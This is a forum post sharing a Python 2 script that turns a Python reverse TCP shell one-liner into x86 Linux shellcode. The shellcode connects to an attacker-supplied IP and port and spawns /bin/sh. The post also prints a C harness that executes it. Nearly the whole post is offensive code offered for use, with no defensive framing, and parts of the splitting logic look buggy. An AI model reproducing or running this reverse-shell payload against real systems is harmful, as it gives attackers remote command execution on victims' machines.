Jump to content
10minute10

Linux Reverse TCP Shell In Python

Recommended Posts

Python code that provides a reverse TCP shell.

import sys

import re

#Title :Linux ReverseTCPShell Shellcode via PythonCodes

"""

___ _ ___

| _ ) ___ _ __ | |__ ___ _ _ _ __ __ _ _ _ / __|

| _ \/ _ \ ' \| '_ \/ -_) '_| ' \/ _` | ' \\__ \

|___/\___/_|_|_|_.__/\___|_| |_|_|_\__,_|_||_|___/

_____

|_ _|__ __ _ _ __

| |/ -_) _` | ' \

|_|\___\__,_|_|_|_|

Members:

Bomberman > B3mB4m < T-Rex

Should I rest ? LOL.No fucking way..

So what you think we can convert python reverse shell directly shellcodes ?

Tested on : Ubuntu 14.04(x86)

Proof : http://i.imgur.com/kfWwU6x.png

Python default path always some.So probably will works on all linux systems.

"""

class B3mB4m(object):

def __init__(self):

self.command = '''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("%s",%s));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);''' % (str(sys.argv[1]), str(sys.argv[2]))

self.shellcode = r"\x31\xff\x6a\x0b\x58\x99\x57"

def splitter(self, hexdump, pushword="None"):

if pushword == "None":

fixmesempai = re.findall('....?', hexdump)

for x in fixmesempai[::-1]:

first = str(x[::-1].encode("hex"))

second = re.findall("..?", first)[::-1]

minilist = ""

for x in second:

minilist += r"\x%s" % x

self.shellcode += r"\x68%s" % minilist

else:

first = str(x[::-1].encode("hex"))

second = re.findall("..?", first)[::-1]

for x in second:

minilist = ""

minilist += r"\x%s" % x

self.shellcode += r"\x66\x68\x%s" % minilist

self.shellcode += r"\x89\xe6\x52\x66\x68\x2d\x63\x89\xe1\x52\x68\x74\x68\x6f\x6e"

self.shellcode += r"\x68\x6e\x2f\x70\x79\x68\x72\x2f\x62\x69\x68\x2f\x2f\x75\x73"

self.shellcode += r"\xb0\x0b\x89\xe3\x52\x56\x51\x53\x89\xe1\xcd\x80"

self.shellcode = 'char *shellcode = "%s";' % self.shellcode

self.cplusplus()

def logo(self):

print """

Author : LOL.What you think ?

Greetz : Itzik Kotler

""";

def cplusplus(self):

self.logo()#Let me do that for you ^_^

print """

#include <stdio.h>

#include <string.h>

/*Coded by B3mB4m

gcc shell.c -o shell

./shell */

%s

int main(void){

(*(void(*)()) shellcode)();}\n\n""" % (self.shellcode)

def testmystring(self):

if len(self.command)%4 != 0:

dwordpart = self.command[0:(len(self.command)-len(self.command)%4)]

wordpart = self.command[(len(self.command)-len(self.command)%4):len(self.command)]

self.splitter( dwordpart)

self.splitter( wordpart, "WordTime")

else:

self.splitter( self.command)

if len(sys.argv) < 2:

print "Usage reverse.py IP PORT"

sys.exit()

else:

B3mB4m().testmystring()

Source

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...